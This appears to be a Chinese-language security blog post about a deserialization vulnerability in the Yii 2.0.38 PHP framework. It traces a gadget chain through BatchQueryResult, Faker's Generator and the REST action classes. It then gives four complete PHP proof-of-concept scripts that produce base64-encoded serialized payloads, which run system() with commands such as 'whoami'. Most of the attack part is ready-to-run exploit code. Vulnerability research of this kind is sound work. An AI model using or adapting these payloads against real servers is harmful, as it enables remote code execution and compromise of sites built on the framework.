yii 2.0.38反序列化漏洞

/ 0评 / 0

环境安装

GitHub链接地址

https://github.com/yiisoft/yii2/tree/2.0.38

漏洞分析

 \yii\vendor\yiisoft\yii2\db\BatchQueryResult.php 文件中有

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

这里调用了 reset() 方法,跟进

public function reset()
{
    if($this->_dataReader !== null){
       $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

这里的 $this->dataReader 可控,可以调用不存在的方法 close() , 并且存在 __call() 方法的类,这就是要我们找一个跳板。 $this->_dataREader->close() 这里可以利用魔术方法 __call()

在 \yii\vendor\fzaninotto\faker\src\Faker\Generator.php 文件中

public function __call($method, $atributes)
{
    return $this->format($method, $atributes);
}

跟进 format

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

跟进查看 getFormatter

publicfunction getFormatter($formatter)
{
    if(isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

format 里调用了 call_user_func_array , $formatter 与 $arguments 都不可控,目前 $formatter='close'$arguments 为空。

$formatter 传入了 $this->getFormatter ,在这个方法中,$this->formatters 是可控的,这也就意味着 getFormatter 方法的返回值是可控。

也就是说 all_user_func_array 这个函数的第一个参数可控,第二个参数为空

现在可以调用yii框架中的任何一个无参的方法。所以,要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行。

查找调用了 call_user_func 函数的无参方法。

查看 IndexAction.php 中的 run 方法

public function run()
{
    if($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    return $this->prepareDataProvider();
}

可以看到 $this->checkAccess 以及 $this->id 都可控

则可以构成利用链

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

攻击POC

POC1

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

需要自己构造POC链的入口

poc2

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

poc3

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

poc4

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}

参考链接

https://www.cnblogs.com/thresh/p/13743081.html

https://blog.csdn.net/qq_43571759/article/details/108804083

发表评论

邮箱地址不会被公开。